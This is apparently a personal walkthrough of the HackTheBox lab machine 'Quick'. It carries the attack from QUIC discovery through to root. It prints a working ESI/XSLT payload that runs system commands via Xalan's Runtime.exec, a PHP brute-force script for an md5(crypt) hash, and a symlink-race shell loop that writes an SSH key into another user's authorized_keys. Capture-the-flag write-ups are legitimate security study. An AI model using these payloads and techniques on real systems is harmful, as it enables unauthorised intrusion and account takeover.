Quick from HackTheBox Walkthrough
As always, I started with an nmap scan, and only two ports popped up:
$ nmap -sC -sV -T4 -p- -oN nmap/quick_all 10.10.10.186 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA) | 256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA) |_ 256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519) 9001/tcp open tcpwrapped
I first looked at port 9001, as 22 is just SSH and usually not interesting unless you have some credentials.
On there I was presented with this website
There was not a lot to see or do, but a few things stood out. There was a broken link to a client portal that pointed to an https resource. Port 443 didn't show up in my nmap scan, and the link just gave me this error
I didn't give it much more thought and continued exploring. The homepage also said that they were experiencing connectivity issues on that domain, but that their services were available through the mobile app.
Given that, I started hunting for an API or a mobile version of the site. So I started enumerating subdomains and domains using wfuzz
$ wfuzz -u http://10.10.10.186:9001/ \ -H 'Host: FUZZ.quick.htb' \ -w subdomains-10000.txt \ --hh 3351
But that didn't result in anything interesting. So I took a look at the client page, which revealed some potential usernames.
The country column immediately stood out, and I started creating a list of possible email addresses with the information I found on the home page and the client list.
I fed this list along with some common passwords into hydra and let it run against the ticketing system login page, but that didn't get me anywhere. I felt so clever for taking into account the country TLDs in the email addresses, so I was bummed when it didn't take me any further.
I had gobuster running in the background, so I decided to take a look at the results
/clients.php (Status: 200) /db.php (Status: 200) /home.php (Status: 200) /index.php (Status: 200) /login.php (Status: 200) /search.php (Status: 200) /server-status (Status: 200) /ticket.php (Status: 200)
There were a few new hits, but:
ticket.php just told me invalid username and redirected me back to the homepage
search.php gave me just a blank screen
I could fuzz parameters in search.php, but that's not allowed on HTB, so there wasn't much to do. db.php seemed less interesting and it's probably just an include with DB credentials for other files.
I also noticed that one of the response headers said X-Powered-By: Esigate, so I searched for vulnerabilities, but I didn't find anything that could be exploited with the resources I had in hand.
So now what?
Since this box was published as hard, I figured I might as well scan for open UDP ports. This gave me may hits:
PORT STATE SERVICE VERSION 407/udp open|filtered timbuktu 443/udp open|filtered https 996/udp open|filtered vsinet 1057/udp open|filtered startron 3130/udp open|filtered squid-ipc 4008/udp open|filtered netcheque 4500/udp open|filtered nat-t-ike 16948/udp open|filtered unknown 17424/udp open|filtered unknown 17787/udp open|filtered unknown 17989/udp open|filtered unknown 18987/udp open|filtered unknown 20082/udp open|filtered unknown 21663/udp open|filtered unknown 30303/udp open|filtered unknown 32931/udp open|filtered unknown 34038/udp open|filtered unknown 34570/udp open|filtered unknown 34758/udp open|filtered unknown 40866/udp open|filtered unknown 41774/udp open|filtered unknown 42434/udp open|filtered unknown 44179/udp open|filtered unknown 45722/udp open|filtered unknown 49167/udp open|filtered unknown 49220/udp open|filtered unknown 61142/udp open|filtered unknown 62154/udp open|filtered unknown
In fact so many that I was a little overwhelmed at first and I keep looking for other leads.
I used other word lists with gobuster and kept trying to enumerate more files and domains. I couldn't get this API or mobile version out of my head, but it was nowhere to be found. I even started fuzzing user agents to see if I would get a different page for phones.
Mildly frustrated, I took another look at the UDP ports. And on a closer look, there was one that stood out:
443/udp open|filtered https
HTTP over 443, which is usually for SSL. But over UDP? I searched online, and...
The box is called Quick, so I was sure I was on the right track! Both, Google Chrome and Chromium have experimental support for QUIC, so I tried to enable that using these flags
$ google-chrome-stable --disable-setuid-sandbox --enable-quic \ --origin-to-force-quic-on=portal.quick.htb:443 https://portal.quick.htb/ \ --no-sandbox --ignore-certificate-errors
But I couldn't get it to connect this way and decided to look for a python client to deal with this protocol. I gave aiortc/aioquic a shot, and after some debugging and fiddling, I actually got it to connect and download some HTML.
I pulled all the files I could find there, and one of them was a PDF with instructions on how to set up the portal. And there was also a default password
I remembered the client list I created earlier, and I decided to give it another shot with this newly acquired password
And there it was. Finally
I had now access to the ticketing system, and there wasn't much to do. I could create a new ticket, and search for one I had opened at some point
I tried all the obvious things, such as SQL injection, and seeing if was able to query for tickets belonging to other users. I wrote a small and dirty script to automate the search process, but this was taken into account and only my own tickets were returned.
Then I remembered the esigate header, and it occurred to me that I now had a potential place to inject ESI tags.
First I tried LFI as that seemed to be the easiest attack. I submitted a new ticket with the following body:
<esi:include src="index.php" />
And when I then searched for my ticket, it would indeed return the file I included
But here's the problem:
Esigate sits in front of Apache, so when it retrieves the file, PHP has already rendered it, so it's not possible to leak source code this way.
Then I attempted to read other interesting files outside of the web root, but that didn't work either. I didn't give it much thought as I had already decided to move on to RCE with the stylesheet technique.
Getting the code to run was pretty non-trivial. But having it do something useful was.
After stitching together several pieces from a few different sites, I ended up with this payload
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process"> <xsl:template match="/"> <root> <xsl:variable name="cmd"><![CDATA[command here]]></xsl:variable> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,$cmd)"/> <xsl:variable name="waiting" select="process:waitFor($process)"/> Process: <xsl:value-of select="$process"/> Waiting: <xsl:value-of select="$waiting"/> </root> </xsl:template> </xsl:stylesheet>
Unfortunately, it's not possible to see the output of the command, so it's hard to tell what's going on. At first I tried to set up a reverse shell with netcat. As soon as I searched for my ticket and the esi tag was parsed, I got a connection back, but it was immediately closed after that.
This was a bit of a pain, but at least I could confirm this way that RCE was working.
I tried other reverse shells with bash and python, but they didn't work at all. After a lot of fiddling around, I realized that none of the complex commands worked. As soon as I added a pipe, or tried to redirect output, it would immediately break without ever executing my code.
I took a few steps back and tried to figure out what worked. Commands such as cd or chdir would result in a fatal error, and the application would actually return an error telling me that the program cd could not be found.
Alright... but can I create files? I did a touch test.txt, spun up a local python web server in that directory, and was able to confirm that the file was created.
I was unable to create a file with contents of my liking, though. So I figured it was time to get a proper shell on this box. Simple commands worked, so I used wget to download my public key from my local server. And then I ran a second command, cp, to copy my key to .ssh/authorized_keys.
So far so good, but what about the user? I spun up a local PHP server, and used -t to set the root directory to /etc. This way I was able to download the passwd file with all users on that box.
$ php -S 10.10.10.186:1235 -t /etc
First I wanted to start the server with the directory /home as root dir, and I was hoping to see all users in the directory index. But PHP doesn't show directory indexes, and python didn't work work with the -d flag.
And that gave me the following
... sam:x:1000:1000:sam:/home/sam:/bin/bash mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false srvadm:x:1001:1001:,,,:/home/srvadm:/bin/bash
I tried sam first, and that worked.
Once in, I took a look at the files in /var/www/, and I noticed there were a few more folders in there, other than html. With that in mind, I checked out the Apache config to see if there were more virtual hosts. There were:
I also noticed that it was running as srvadm which led me to believe that this needed to be exploited in some way.
So I added that domain to my /etc/hosts file and took a look at that page.
That showed me a login page to which some credentials were required. Looking at the source code, I could see it used a local database to authenticate users. The database credentials were in the code as well, so it was easy to take a look at the table:
mysql> select * from users; +--------------+------------------+----------------------------------+ | name | email | password | +--------------+------------------+----------------------------------+ | Elisa | [email protected] | c6c35ae1f3cb19438e0199cfa72a9d9d | | Server Admin | [email protected] | e626d51f8fbfd1124fdea88396c35d05 | +--------------+------------------+----------------------------------+ 2 rows in set (0.00 sec)
So there are some hashes, and in index.php we can see how they were generated.
<?php include("db.php"); if(isset($_POST["email"]) && isset($_POST["password"])) {     $email=$_POST["email"];     $password = $_POST["password"];     $password = md5(crypt($password,'fa'));     $stmt=$conn->prepare("select email,password from users where email=? and password=?");     $stmt->bind_param("ss",$email,$password);     $stmt->execute();     // ... }
We know Elisa's password, so we could update the admin's hash to her's and login with her password. But that might ruin the experience of other users as they'd be unable to log in. Plus, IRL that could trigger alerts if the admin would suddenly be unable to log in. But most important of all, it's way more fun to crack the hash, so we'll do that.
I doubted john or hashcat supported that md5(crypt($pass, $salt)) format natively natively, so I wrote a quick script to brute force it:
<?php $fp = fopen($argv[1], 'r'); while (!feof($fp)) {     $password = trim(fgets($fp));     printf("\rTrying %-70s", $password);     if (md5(crypt($password, 'fa')) === 'e626d51f8fbfd1124fdea88396c35d05') {         echo "\rFound it: $password\n";         exit;     } } echo "\rNone found\n";
I fed it with rockyou.txt, and after a few moments it came back with the password.
With that, we're able to login, and we're presented with a printer manager where we can add printers and send documents to them.
So I took a look at the PHP code, to see how this could be exploited. This piece of code stood out:
<?php if(isset($_POST["submit"])) {     $title=$_POST["title"];     $file = date("Y-m-d_H:i:s");     file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);     chmod("/var/www/printer/jobs/".$file,"0777");     $stmt=$conn->prepare("select ip,port from jobs");     $stmt->execute();     $result=$stmt->get_result();     if($result->num_rows > 0)     {         $row=$result->fetch_assoc();         $ip=$row["ip"];         $port=$row["port"];         try         {             $connector = new NetworkPrintConnector($ip,$port);             sleep(0.5); //Buffer for socket check             $printer = new Printer($connector);             $printer -> text(file_get_contents("/var/www/jobs/".$file));             $printer -> cut();             $printer -> close();             $message="Job assigned";             unlink("/var/www/jobs/".$file);         }         catch(Exception $error)         {             $error="Can't connect to printer.";             unlink("/var/www/jobs/".$file);         }     }     else     {         $error="Couldn't find printer.";     } }
At first sight, it looks like we're able to setup a printer, and send data to it. It first writes to a temporary file, and then reads from that file to send the data to the printer. It appears like we can swap files between it creates and reads from it. That would probably work, but I took another route as it seemed easier. Instead of reading a file, I decided to write to one.
So the path is as follows
Make your printer available so you can send a document to it (nc -lnvp 9100)
In the text field, insert your public SSH key
Then create a symlink to .ssh/athorized_keys, every second, like this
while true; do ln -s /home/srvadm/.ssh/authorized_keys \ /var/www/jobs/$(php -r 'echo date("Y-m-d_H:i:s");'); sleep 1; done
You can disconnect the printer at this point
And finally, submit the public key
It should find the symlink, follow and write to it. I think the intended way here was to read the private key and send it to the printer. But the time window is small, and it seems a little more difficult to exploit, whereas this it's pretty straight-forward and fail safe
We're getting close...
To become root you didn't actually have to exploit anything. The credentials were hidden in plain sight. I found this more or less by accident when I was grep'ing for strings, it this URL in ~/.cache/logs
Which when URL decoded, becomes https://[email protected]:&[email protected]/printer. If you know a bit about URL fragments, [email protected] is a username, and &ftQ4K3SGde8? a password for printerv3.quick.htb.
So I tried that for root and holy cow
It worked, and I was finally done!















